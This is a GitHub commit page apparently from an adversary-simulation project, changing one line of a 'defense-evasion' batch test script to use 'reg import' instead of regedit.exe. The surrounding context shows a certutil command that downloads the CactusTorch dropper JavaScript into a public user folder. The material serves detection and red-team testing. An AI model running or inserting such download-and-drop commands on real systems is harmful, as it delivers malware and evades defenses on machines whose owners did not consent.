Skip to content

Commit efb972e

Browse files
committed
refactor: use reg import instead of regedit.exe
1 parent 629a2ef commit efb972e

1 file changed

Lines changed: 1 addition & 1 deletion

File tree

test-sets/defense-evasion/js-dropper.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ ping -n 5 127.0.0.1 > NUL
77

88
ECHO Fixing possible problems with JavaScript on the system
99
"%ZIP%" e -p%PASS% "%FILEARCH%" -aoa -o"%TEMP%" workfiles\jsfix.reg > NUL
10-
regedit.exe /s "%TEMP%\jsfix.reg"
10+
reg import /s "%TEMP%\jsfix.reg"
1111

1212
ECHO Downloading the CactusTorch dropper (press Enter if it takes more than 20s)
1313
cmd.exe /c certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js

0 commit comments

Comments
 (0)